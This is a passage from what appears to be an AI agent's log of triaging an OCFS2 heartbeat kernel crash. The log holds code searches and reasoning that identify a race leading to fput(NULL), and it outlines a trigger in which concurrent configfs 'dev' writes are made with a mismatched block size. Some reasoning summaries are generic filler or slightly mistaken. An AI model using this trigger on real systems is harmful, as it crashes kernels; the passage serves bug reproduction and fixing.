1924:		if (ret < 0) {
1925:			spin_lock(&o2hb_live_lock);
1926:			hb_task = reg->hr_task;
1927:			reg->hr_task = NULL;
1928:			spin_unlock(&o2hb_live_lock);
1929:	
1930:			if (hb_task)
1931:				kthread_stop(hb_task);
1932:	
1933:			o2hb_unmap_slot_data(reg);
1934:	
1935:			fput(reg->hr_bdev_file);
1936:			reg->hr_bdev_file = NULL;
1937:		}
1938:		return ret;
1939:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

7/2 2026/09/04 20:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 6601
							output: 19
							thoughts: 1269
						

Thoughts:
**A Deep Dive into a Potential Kernel Crash**

I've been looking into a crash occurring in `o2hb_region_dev_store` specifically at the `fput(reg->hr_bdev_file);` call. My immediate thought was, "Okay, `fput` is being called unconditionally on `reg->hr_bdev_file` if `ret < 0`." But then the critical question arose: what if `reg->hr_bdev_file` is actually `NULL` at that point?

I started tracing back the initialization of `reg->hr_bdev_file`. The code shows it's opened using `bdev_file_open_by_dev`. If this `open` call fails and returns an error, the `reg->hr_bdev_file` is explicitly set to `NULL`, and the function returns immediately. This means `fput` isn't called in that specific error path, which is good.

Then I examined other potential failure points *before* the `bdev_file_open_by_dev` call. If an error occurs during the initial string-to-tol conversion, or checks for `fd` validity, or if `fd_empty` returns true, or if any of the `hr_blocks`, `hr_start_block`, or `hr_block_bytes` are zero, or if the file mode isn't a block device, the function returns directly with an error. Crucially, none of these paths lead to the `goto out` label where the problematic `fput` resides.

My attention then shifted to the possibility of `bdev_logical_block_size` failing. If this happens, the code correctly sets `ret = -EINVAL` and uses `goto out`. However, in this scenario, `reg->hr_bdev_file` would have been successfully opened earlier and therefore should *not* be `NULL`.

Similarly, if `o2hb_map_slot_data` fails, it also jumps to `goto out`. Again, if `reg->hr_bdev_file` was validly opened, it should remain non-NULL.

So, the core puzzle remained: how could `reg->hr_bdev_file` be `NULL` when `fput` is called at the `goto out` point? I recalled that the `fput` function itself doesn't perform a `NULL` check. If you pass `NULL` to it, it *will* dereference a `NULL` pointer, leading to a crash.

I re-examined the `o2hb_region_dev_store` function again. It starts with a check: `if (reg->hr_bdev_file) return -EINVAL;`. This confirms that `reg->hr_bdev_file` is indeed initialized to `NULL` at the beginning of the function. Then, it's assigned the result of `bdev_file_open_by_dev`. As noted, if that fails, it's set back to `NULL` and the function returns *before* reaching the problematic `goto out`. If it succeeds, `reg->hr_bdev_file` holds a valid pointer.

This led me to a critical realization: is it possible that `reg->hr_bdev_file` is being set to `NULL` somewhere else in the code *between* its successful opening and the `goto out` path? My review of the provided snippet didn't reveal any other assignments to `NULL`.

Then, I considered the *nature* of the crash. The address `0000000000000158` is highly suspicious. If `reg->hr_bdev_file` were `NULL`, dereferencing it would likely result in a segmentation fault. The specific offset `0x158` strongly suggests that the crash is occurring when trying to access a member within the `struct file` structure, and that the `struct file` pointer itself is `NULL`. This reinforces the idea that `reg->hr_bdev_file` is `NULL` when `fput` is called.

My current hypothesis is that there might be a subtle race condition or an unhandled error path that leads to `reg->hr_bdev_file` being `NULL` at the `goto out` point, which then causes `fput(NULL)` to crash. The fact that the crash occurs at a specific offset within `struct file` when the pointer is `NULL` is a very strong indicator of this `fput(NULL)` scenario. I need to investigate further to pinpoint how this `NULL` value is being propagated to that `fput` call.


8/2 2026/09/04 20:36 tool codesearch-struct-layout
0m Args:
map[Name:file]

Results:
map[Fields:[map[Name:f_lock OffsetBits:0 SizeBits:512] map[Name:f_mode OffsetBits:512 SizeBits:32] map[Name:f_op OffsetBits:576 SizeBits:64] map[Name:f_mapping OffsetBits:640 SizeBits:64] map[Name:private_data OffsetBits:704 SizeBits:64] map[Name:f_inode OffsetBits:768 SizeBits:64] map[Name:f_flags OffsetBits:832 SizeBits:32] map[Name:f_iocb_flags OffsetBits:864 SizeBits:32] map[Name:f_cred OffsetBits:896 SizeBits:64] map[Name:f_owner OffsetBits:960 SizeBits:64] map[Name: OffsetBits:1024 SizeBits:128] map[Name: OffsetBits:1152 SizeBits:1088] map[Name:f_pos OffsetBits:2240 SizeBits:64] map[Name:f_security OffsetBits:2304 SizeBits:64] map[Name:f_wb_err OffsetBits:2368 SizeBits:32] map[Name:f_sb_err OffsetBits:2400 SizeBits:32] map[Name:f_ep OffsetBits:2432 SizeBits:64] map[Name: OffsetBits:2496 SizeBits:256] map[Name:f_ref OffsetBits:2752 SizeBits:64]]]

9/2 2026/09/04 20:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8150
							output: 30
							thoughts: 711
						

Thoughts:
**My Thought Process on the `reg->hr_bdev_file` NULL Pointer Issue**

Okay, let's trace this. I was initially focused on `f_ref` at offset 2752 bits (344 bytes, or 0x158). I confirmed that `f_ref` is indeed `f_count`, or rather, `f_count` is part of `f_ref`'s structure. I also noted that `file_ref_put` is defined in `include/linux/file_ref.h`, which implies that the `file` pointer itself could potentially be NULL.

This led me back to the core question: how could `reg->hr_bdev_file` be NULL when the `out` label is reached in `o2hb_region_dev_store`? I re-examined the `o2hb_region_dev_store` function, specifically this check:

```c
if (reg->hr_bdev_file)
    return -EINVAL;
```

Then I remembered that `reg` here is derived from `item` via `to_o2hb_region(item)`. This made me consider a crucial possibility: could `o2hb_region_dev_store` be called concurrently for the same `item`?

Imagine this scenario with two threads operating on the same `item`:

*   **Thread 1:**
    *   Hits `if (reg->hr_bdev_file)` – it's NULL, so it proceeds.
    *   Executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.

*   **Thread 2:**
    *   Also hits `if (reg->hr_bdev_file)` – it's still NULL because Thread 1 hasn't finished assigning it yet.
    *   Also executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`.

Now, let's say Thread 1 encounters an error *after* assigning `reg->hr_bdev_file`, like a sector size mismatch:

*   **Thread 1:**
    *   `if (sectsize != reg->hr_block_bytes)` condition is met.
    *   `ret = -EINVAL;`
    *   `goto out;`
    *   At the `out:` label:
        *   `if (ret < 0)` is true.
        *   `fput(reg->hr_bdev_file);`
        *   `reg->hr_bdev_file = NULL;`

Simultaneously, Thread 2 might have also encountered an error, perhaps later in its execution, and is also jumping to `out`:

*   **Thread 2:**
    *   Hits `goto out;` (e.g., due to a failure in `o2hb_map_slot_data`).
    *   At the `out:` label:
        *   `if (ret < 0)` is true.
        *   **Here's the problem:** `fput(reg->hr_bdev_file);` is called. But Thread 1 has *just* set `reg->hr_bdev_file` to `NULL`. This would lead to a NULL pointer dereference.
        *   Then, `reg->hr_bdev_file = NULL;` is executed again.

Yes! This looks like a classic race condition within `o2hb_region_dev_store`.

I then questioned whether `o2hb_region_dev_store` had any protective locks in place. I noted that it does acquire `spin_lock(&o2hb_live_lock)` later in its execution, but crucially, *not* at the very beginning where the potential race occurs. This is typical for configfs store functions; they often lack explicit locking against concurrent attribute writes unless the underlying subsystem implements its own synchronization.

I also briefly considered if `reg->hr_bdev_file` could be set to NULL by another function entirely, and started to check its usage points to see if that was a possibility, but the concurrent call scenario seemed the most immediate and likely culprit.


10/2 2026/09/04 20:36 tool codesearch-find-references
0m Args:
map[Name:o2hb_region::hr_bdev_file]

Results:
map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_block_bytes_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1586] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_blocks_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1641] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_show SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1660] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1789] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1815] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1817] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1818] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1819] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1935] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2hb_region_dev_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1936] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_release SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1527] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_release SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1528] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2hb_region_start_block_store SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:1615] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:reg_bdev SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:267] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:reg_bdev SourceFile:fs/ocfs2/cluster/heartbeat.c SourceLine:267]] TruncatedOutput:false]

11/2 2026/09/04 20:36 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9502
							output: 43
							thoughts: 13
						

Thoughts:
**My Thought Process Regarding `o2hb_region_release`**

Alright, I need to get a handle on the `o2hb_region_release` function. My immediate instinct is to dive in and examine its mechanics. What exactly is happening when `o2hb_region_release` is called? What is its purpose, and what are the implications of its execution? I'm going to meticulously trace its logic, understand its dependencies, and identify any potential side effects or edge cases it might introduce. My goal here is to achieve a comprehensive understanding, leaving no stone unturned, so that I can confidently assess its role and impact within the broader system.


12/2 2026/09/04 20:37 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_release]

Results:
map[SourceCode:1515:	/* drop_item only drops its ref after killing the thread, nothing should
1516:	 * be using the region anymore.  this has to clean up any state that
1517:	 * attributes might have built up.
1518:	 */
1519:	static void o2hb_region_release(struct config_item *item)
1520:	{
1521:		struct o2hb_region *reg = to_o2hb_region(item);
1522:	
1523:		mlog(ML_HEARTBEAT, "hb region release (%pg)\n", reg_bdev(reg));
1524:	
1525:		o2hb_unmap_slot_data(reg);
1526:	
1527:		if (reg->hr_bdev_file)
1528:			fput(reg->hr_bdev_file);
1529:	
1530:		debugfs_remove_recursive(reg->hr_debug_dir);
1531:		kfree(reg->hr_db_livenodes);
1532:		kfree(reg->hr_db_regnum);
1533:		kfree(reg->hr_db_elapsed_time);
1534:		kfree(reg->hr_db_pinned);
1535:	
1536:		spin_lock(&o2hb_live_lock);
1537:		list_del(&reg->hr_all_item);
1538:		spin_unlock(&o2hb_live_lock);
1539:	
1540:		o2net_unregister_handler_list(&reg->hr_handler_list);
1541:		kfree(reg);
1542:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

13/2 2026/09/04 20:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 10030
							output: 47
							thoughts: 2113
						

Thoughts:
**The Race Condition Leading to a NULL `fput`**

My investigation into a potential `fput(NULL)` crash has led me to identify a specific race condition within the `o2hb_region_dev_store` function. Initially, I focused on the cleanup path within the `out` label, observing that `fput(reg->hr_bdev_file)` is called, and `reg->hr_bdev_file` is subsequently set to `NULL`. This immediately suggested that if `reg->hr_bdev_file` were already `NULL` when this cleanup code is reached, we'd have a `fput(NULL)` situation.

My first hypothesis was that two threads could concurrently enter `o2hb_region_dev_store`. The critical check, `if (reg->hr_bdev_file) return -EINVAL;`, could be bypassed by both threads if they executed simultaneously. Subsequently, both threads would proceed to open the block device, assigning their respective opened files to `reg->hr_bdev_file`. If Thread 1 then failed (e.g., due to a sector size mismatch), it would jump to the `out` label, execute the cleanup, including `fput(reg->hr_bdev_file)` (which would be Thread 2's file handle) and set `reg->hr_bdev_file` to `NULL`. If Thread 2 then also failed and reached its own `out` label, it would attempt `fput(reg->hr_bdev_file)`, which would now be `NULL`, thus explaining the crash.

To confirm this, I traced the execution path of `o2hb_region_dev_store` from its beginning, specifically looking for scenarios where `reg->hr_bdev_file` could be `NULL` upon reaching the `out` label *without* a prior race. I examined each potential failure point before the `bdev_file_open_by_dev` call. If `bdev_file_open_by_dev` fails, it returns an error directly and does *not* `goto out`, so `reg->hr_bdev_file` remains `NULL` or the previous value. Crucially, if `bdev_file_open_by_dev` succeeds, `reg->hr_bdev_file` is assigned a valid file pointer and is guaranteed to be non-NULL. All subsequent potential failure points (`sectsize != reg->hr_block_bytes`, `o2hb_map_slot_data`, `o2hb_populate_slot_data`, `kthread_run`, `wait_event_interruptible`) all lead to `goto out` *after* `reg->hr_bdev_file` has been successfully opened and is non-NULL.

This thorough analysis solidified my conclusion: in a single-threaded execution, `reg->hr_bdev_file` is *never* NULL when the `goto out` is invoked. Therefore, the *only* plausible cause for `reg->hr_bdev_file` being NULL at the `out` label is if it was set to NULL by another thread. This directly points back to the cleanup code within `o2hb_region_dev_store` itself, specifically the lines `fput(reg->hr_bdev_file); reg->hr_bdev_file = NULL;`.

The way to trigger this race, as I see it, involves two threads concurrently calling `o2hb_region_dev_store` on the same heartbeat region. To ensure the race leads to the cleanup path, the `dev` attribute write needs to fail. A straightforward method to induce failure is to create a mismatch between the `block_bytes` attribute and the actual logical block size of the block device. For instance, if `reg->hr_block_bytes` is set to a value different from the device's sector size (e.g., 1024 when the device has 512-byte sectors), the check `sectsize != reg->hr_block_bytes` will fail, triggering the `goto out` path. Therefore, the scenario requires setting up a heartbeat region via configfs, writing a file descriptor of a block device to its `dev` attribute, and simultaneously, from another thread, doing the same but with a deliberately mismatched `block_bytes` value. This simultaneous, failing write to `dev` by two threads will trigger the observed race condition and the subsequent `fput(NULL)` crash.


14/2 2026/09/04 20:37 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_block_bytes_store]

Results:
map[SourceCode:1577:	static ssize_t o2hb_region_block_bytes_store(struct config_item *item,
1578:						     const char *page,
1579:						     size_t count)
1580:	{
1581:		struct o2hb_region *reg = to_o2hb_region(item);
1582:		int status;
1583:		unsigned long block_bytes;
1584:		unsigned int block_bits;
1585:	
1586:		if (reg->hr_bdev_file)
1587:			return -EINVAL;
1588:	
1589:		status = o2hb_read_block_input(reg, page, &block_bytes,
1590:					       &block_bits);
1591:		if (status)
1592:			return status;
1593:	
1594:		reg->hr_block_bytes = (unsigned int)block_bytes;
1595:		reg->hr_block_bits = block_bits;
1596:	
1597:		return count;
1598:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

15/2 2026/09/04 20:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12511
							output: 45
							thoughts: 27
						

Thoughts:
**My Internal Monologue on `o2hb_read_block_input`**

Alright, so when I look at this `o2hb_read_block_input` function, my immediate hypothesis is that its primary purpose is to validate the input it receives for a "block" operation. Given the common patterns in low-level I/O or memory management contexts where such functions often reside, I'm strongly suspecting it's going to enforce two key constraints. First, I'd bet a significant amount of my intellectual capital that it's checking for the input to be a power of two. This is a ubiquitous requirement for block-based operations, think file system blocks, cache lines, or buffer sizes, because it simplifies address calculations and alignment. Second, I'm also anticipating that there will be an upper and likely a lower bound check. No operation is truly unbounded; there will be a practical limit on how large a block can be, perhaps dictated by hardware constraints, system memory availability, or even just design choices to prevent excessively large allocations. Conversely, a zero-sized block or a negative size would be nonsensical, so a minimum valid size is almost certainly being enforced as well. In essence, it's a gatekeeper, ensuring the integrity of the block size before any subsequent, potentially costly, operations are attempted.


16/2 2026/09/04 20:37 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_read_block_input]

Results:
map[SourceCode:1544:	static int o2hb_read_block_input(struct o2hb_region *reg,
1545:					 const char *page,
1546:					 unsigned long *ret_bytes,
1547:					 unsigned int *ret_bits)
1548:	{
1549:		unsigned long bytes;
1550:		char *p = (char *)page;
1551:		int ret;
1552:	
1553:		ret = kstrtoul(p, 0, &bytes);
1554:		if (ret)
1555:			return ret;
1556:	
1557:		/* Heartbeat and fs min / max block sizes are the same. */
1558:		if (bytes > 4096 || bytes < 512)
1559:			return -ERANGE;
1560:		if (hweight16(bytes) != 1)
1561:			return -EINVAL;
1562:	
1563:		if (ret_bytes)
1564:			*ret_bytes = bytes;
1565:		if (ret_bits)
1566:			*ret_bits = ffs(bytes) - 1;
1567:	
1568:		return 0;
1569:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

17/2 2026/09/04 20:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12952
							output: 30
							thoughts: 1119
						

Thoughts:
**My Thought Process Regarding the O2HB Block Device Size Mismatch and Potential Race Condition**

My initial thought was to handle the block device size mismatch by directly checking if the requested `block_bytes` (4096) was compatible with the actual block device's sector size. If they didn't match, I considered making functions like `o2hb_map_slot_data` fail. However, I quickly realized that `o2hb_map_slot_data` involves memory allocation, which might not fail as predictably or directly as needed for this specific problem.

My next consideration was `o2hb_populate_slot_data`. This function reads from the block device, so a size mismatch *could* lead to a failure if the device is too small. Still, it felt like a less direct approach than simply checking the sizes upfront.

The most straightforward solution, in my opinion, became the direct comparison: `sectsize != reg->hr_block_bytes`. This check is performed early in the process and clearly indicates a configuration error. If this condition is true, the code correctly branches to an error handling path (`goto out`).

However, my focus then shifted to a potential race condition, particularly around the logic that triggers when `sectsize != reg->hr_block_bytes`. I began tracing the execution flow for two threads interacting with the `reg->hr_bdev_file` field.

**Tracing the Race Condition:**

Let's imagine two threads, Thread 1 and Thread 2, attempting to configure the heartbeat device.

*   **Thread 1 starts:** It checks `if (reg->hr_bdev_file)`. This is `NULL` initially, so it proceeds.
*   **Thread 2 starts:** It also checks `if (reg->hr_bdev_file)`. This is still `NULL`, so it proceeds as well.
*   **Thread 1 continues:** It executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`, successfully opening and assigning a file descriptor for device A to `reg->hr_bdev_file`.
*   **Thread 2 continues:** It *then* executes `reg->hr_bdev_file = bdev_file_open_by_dev(...)`. Crucially, this overwrites the value previously set by Thread 1, assigning a file descriptor for device B to `reg->hr_bdev_file`. At this point, device A's file descriptor is effectively leaked, but the immediate concern is the crash.
*   **Thread 1 proceeds to the check:** It reaches `sectsize = bdev_logical_block_size(...)` and then `if (sectsize != reg->hr_block_bytes)`. Let's assume this condition is `TRUE` (hence the failure). It sets `ret = -EINVAL` and executes `goto out`.
*   **Thread 1 at `out`:** It reaches the cleanup section. It calls `fput(reg->hr_bdev_file)`. *However*, `reg->hr_bdev_file` now points to device B's file descriptor (because Thread 2 overwrote it). So, Thread 1 performs `fput(B)`. It then sets `reg->hr_bdev_file = NULL`.
*   **Thread 2 proceeds to the check:** It also reaches `sectsize = bdev_logical_block_size(...)` and then `if (sectsize != reg->hr_block_bytes)`. Assuming this is also `TRUE`, it sets `ret = -EINVAL` and executes `goto out`.
*   **Thread 2 at `out`:** It reaches its cleanup section. It calls `fput(reg->hr_bdev_file)`. *Now*, `reg->hr_bdev_file` is `NULL` (because Thread 1 set it to `NULL` after its `fput`). Attempting to call `fput(NULL)` leads to a **CRASH**.

This sequence clearly illustrates a Time-Of-Check To Time-Of-Use (TOCTOU) race condition on the `reg->hr_bdev_file` pointer. While there's a resource leak of device A's descriptor, the critical issue is the null pointer dereference leading to a crash.

**Considering Stall Points and Setup:**

I considered ways to widen this race window. `userfaultfd` came to mind, but I dismissed it because there's no `copy_from_user` operation within the critical path that could be stalled. The `kstrtol` call, which parses the file descriptor from user input, happens *before* the store function is even called for the attribute, so it's not a point where I can introduce a delay.

However, the `bdev_file_open_by_dev` call itself is a potential stall point. Operations like disk I/O or acquiring locks within this function could introduce delays, making the race more likely to occur. I concluded that simply running two threads in a tight loop, attempting to write to the `dev` attribute concurrently, should be sufficient to trigger this race.

**Configuring OCFS2 Heartbeat via ConfigFS:**

Finally, I considered how one would actually set up OCFS2 heartbeat regions using configfs. My understanding is that this typically involves mounting configfs at `/sys/kernel/config`, creating a cluster entry (e.g., `/sys/kernel/config/cluster/mycluster`), and then defining heartbeat regions within that cluster (e.g., `/sys/kernel/config/cluster/mycluster/heartbeat/`). I also noted that the `ocfs2_nodemanager` module would need to be loaded to provide this configfs interface. I made a mental note to verify the exact path structure.


18/2 2026/09/04 20:37 tool grepper
0m Args:
map[Expression:config_item_type.*o2hb_heartbeat_group_type]

Results:
map[Output:fs/ocfs2/cluster/heartbeat.c=2223=static const struct configfs_group_operations o2hb_heartbeat_group_group_ops = {
--
fs/ocfs2/cluster/heartbeat.c-2227-
fs/ocfs2/cluster/heartbeat.c:2228:static const struct config_item_type o2hb_heartbeat_group_type = {
fs/ocfs2/cluster/heartbeat.c-2229-	.ct_group_ops	= &o2hb_heartbeat_group_group_ops,
]

19/2 2026/09/04 20:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14245
							output: 24
							thoughts: 20
						

Thoughts:
**My Thought Process Regarding `o2hb_heartbeat_group_type` Usage**

My primary investigative pathway right now is to determine the current operational landscape of `o2hb_heartbeat_group_type`. I need to understand precisely where and how this particular data type, or more accurately, this enumerator or constant, is being referenced and utilized within the codebase. This isn't just a matter of finding all its occurrences; it's about comprehending the *context* of each usage. I'm looking to identify:

1.  **Definition and Scope:** Where is `o2hb_heartbeat_group_type` *defined*? Is it a global constant, part of a specific module's API, or perhaps an internal data structure element? Understanding its origin is crucial for grasping its intended purpose and limitations.

2.  **Call Sites and Interactions:** Who is *calling* or *referencing* `o2hb_heartbeat_group_type`? I need to trace the call chains. Are these calls originating from within the `o2hb` subsystem itself, or is it being accessed by external modules? This will reveal dependencies and potential points of impact for any changes I might consider.

3.  **Purpose of Usage:** *Why* is `o2hb_heartbeat_group_type` being used in each specific instance? Is it for:
    *   **Configuration:** Defining the type of heartbeat group a specific component belongs to?
    *   **State Management:** Representing the current state or type of a heartbeat group?
    *   **Decision Making:** Acting as a parameter in conditional logic for heartbeat group operations?
    *   **Serialization/Deserialization:** Part of data structures that are being persisted or transmitted?

4.  **Implications of Usage:** What are the *consequences* of this usage? If `o2hb_heartbeat_group_type` is used in a critical path for cluster fencing, for instance, any modification or misunderstanding of its meaning could have severe implications for cluster stability. Conversely, if it's used in a less critical, perhaps informational, context, the tolerance for change might be higher.

5.  **Potential for Refinement/Abstraction:** Based on the usage patterns, I'm also thinking about whether the current definition and usage are optimal. Is there redundancy? Could a more generalized approach be taken? Or, conversely, is this type too broad, and perhaps needs further specialization?

In essence, I'm performing a thorough audit to build a mental model of `o2hb_heartbeat_group_type`'s role in the system, which will inform any subsequent architectural decisions or refactoring efforts. It’s about understanding its *semantics* and its *impact*.


20/2 2026/09/04 20:37 tool grepper
0m Args:
map[Expression:o2hb_heartbeat_group_type]

Results:
map[Output:fs/ocfs2/cluster/heartbeat.c=2223=static const struct configfs_group_operations o2hb_heartbeat_group_group_ops = {
--
fs/ocfs2/cluster/heartbeat.c-2227-
fs/ocfs2/cluster/heartbeat.c:2228:static const struct config_item_type o2hb_heartbeat_group_type = {
fs/ocfs2/cluster/heartbeat.c-2229-	.ct_group_ops	= &o2hb_heartbeat_group_group_ops,
--
fs/ocfs2/cluster/heartbeat.c=2236=struct config_group *o2hb_alloc_hb_set(void)
--
fs/ocfs2/cluster/heartbeat.c-2245-	config_group_init_type_name(&hs->hs_group, "heartbeat",
fs/ocfs2/cluster/heartbeat.c:2246:				    &o2hb_heartbeat_group_type);
fs/ocfs2/cluster/heartbeat.c-2247-
]

21/2 2026/09/04 20:37 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14565
							output: 23
							thoughts: 25
						

Thoughts:
**My Thought Process**

Ah, I see this function is named "heartbeat." That immediately makes me curious about its purpose. My first instinct is to trace its origin – I need to understand where this `o2hb_alloc_hb_set` function is actually being invoked within the system. Understanding the call site is crucial for grasping the context in which the heartbeat mechanism is being initialized or managed.


22/2 2026/09/04 20:37 tool grepper
0m Args:
map[Expression:o2hb_alloc_hb_set]

Results:
map[Output:fs/ocfs2/cluster/heartbeat.c=2228=static const struct config_item_type o2hb_heartbeat_group_type = {
--
fs/ocfs2/cluster/heartbeat.c-2235- * entire damn world #includes */
fs/ocfs2/cluster/heartbeat.c:2236:struct config_group *o2hb_alloc_hb_set(void)
fs/ocfs2/cluster/heartbeat.c-2237-{
--
fs/ocfs2/cluster/heartbeat.h=40=struct o2hb_callback_func {
--
fs/ocfs2/cluster/heartbeat.h-48-
fs/ocfs2/cluster/heartbeat.h:49:struct config_group *o2hb_alloc_hb_set(void);
fs/ocfs2/cluster/heartbeat.h-50-void o2hb_free_hb_set(struct config_group *group);
--
fs/ocfs2/cluster/nodemanager.c=686=static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
--
fs/ocfs2/cluster/nodemanager.c-699-	ns = kzalloc_obj(struct o2nm_node_group);
fs/ocfs2/cluster/nodemanager.c:700:	o2hb_group = o2hb_alloc_hb_set();
fs/ocfs2/cluster/nodemanager.c-701-	if (cluster == NULL || ns == NULL || o2hb_group == NULL)
]

23/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15009
							output: 25
							thoughts: 36
						

Thoughts:
**My Thought Process Regarding Cluster Group Heartbeats**

Ah, so I've just been contemplating the automatic creation of a "heartbeat" subgroup when I set up a cluster group. That's a key detail, and I want to make sure I'm fully grasping its implications. My immediate instinct is to dive into the underlying code to see exactly *how* this happens. Specifically, I'm going to examine the `o2nm_cluster_group_make_group` function. This is where the magic, or at least the programmatic instantiation, of the cluster group and its associated components, including this crucial heartbeat subgroup, must be occurring. I need to understand the exact logic within that function to confirm my understanding of the heartbeat's lifecycle and its relationship with the primary cluster group.


24/2 2026/09/04 20:38 tool grepper
0m Args:
map[Expression:o2nm_cluster_group_make_group]

Results:
map[Output:fs/ocfs2/cluster/nodemanager.c=678=static struct o2nm_cluster_group *to_o2nm_cluster_group(struct config_group *group)
--
fs/ocfs2/cluster/nodemanager.c-685-
fs/ocfs2/cluster/nodemanager.c:686:static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
fs/ocfs2/cluster/nodemanager.c-687-							  const char *name)
--
fs/ocfs2/cluster/nodemanager.c=744=static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c:745:	.make_group	= o2nm_cluster_group_make_group,
fs/ocfs2/cluster/nodemanager.c-746-	.drop_item	= o2nm_cluster_group_drop_item,
]

25/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15326
							output: 25
							thoughts: 19
						

Thoughts:
**My Thought Process on `o2nm_cluster_group_group_ops`**

Okay, so I'm looking at this code, and my immediate question, the one that's really buzzing in my head, is: "What exactly *is* `o2nm_cluster_group_group_ops` for?" I mean, the name itself suggests it's related to operations within a cluster group, and specifically, it seems to be a structure or a set of pointers to functions that define how these group-level operations are performed.

My intuition tells me this is going to be a crucial piece of the O2NM (presumably "Oracle Cluster Networking Option" or something similar, given the context) subsystem. When I see something like `_ops`, I immediately think of an "operations table" or a "vtable" – a common pattern in C and C++ for implementing polymorphic behavior or defining an interface. So, I'm expecting `o2nm_cluster_group_group_ops` to hold pointers to functions that handle things like:

*   **Initialization/Setup:** How do we set up a cluster group initially? What resources need to be allocated or configured?
*   **State Management:** How do we track the state of a cluster group? This could involve joining, leaving, status changes, etc.
*   **Communication:** What are the underlying mechanisms for communication *between* nodes within a group? This might involve sending and receiving messages, heartbeats, or other coordination signals.
*   **Resource Management:** If cluster groups manage specific resources (like storage, applications, or network interfaces), how are those resources managed at the group level?
*   **Error Handling and Recovery:** What happens when something goes wrong within a group? How are errors detected, reported, and potentially recovered from? This is a big one for any distributed system.
*   **Membership Management:** How is the membership of the group determined and maintained? Who is considered "in" the group at any given moment?
*   **Lifecycle Events:** What are the key events in the lifecycle of a cluster group, and what functions are invoked when those events occur? Think about starting, stopping, and potentially migrating group responsibilities.

Given that this is likely part of a larger cluster management framework, this `_ops` structure is probably the mechanism by which the core O2NM logic delegates specific group-related tasks to specialized implementations. It's the abstraction layer that allows O2NM to manage different *types* of cluster groups or to adapt its behavior based on the configuration and capabilities of the underlying environment.

So, in essence, I'm thinking of `o2nm_cluster_group_group_ops` as the central dispatch mechanism for all the operational aspects of managing a cluster group within the O2NM framework. It's where the "how-to" for group operations is defined, allowing for a flexible and extensible design. My next step would be to dive into the definition of this structure to see exactly which function pointers are present and what their specific roles are.


26/2 2026/09/04 20:38 tool grepper
0m Args:
map[Expression:o2nm_cluster_group_group_ops]

Results:
map[Output:fs/ocfs2/cluster/nodemanager.c=733=static void o2nm_cluster_group_drop_item(struct config_group *group, struct config_item *item)
--
fs/ocfs2/cluster/nodemanager.c-743-
fs/ocfs2/cluster/nodemanager.c:744:static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c-745-	.make_group	= o2nm_cluster_group_make_group,
--
fs/ocfs2/cluster/nodemanager.c=749=static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c:750:	.ct_group_ops	= &o2nm_cluster_group_group_ops,
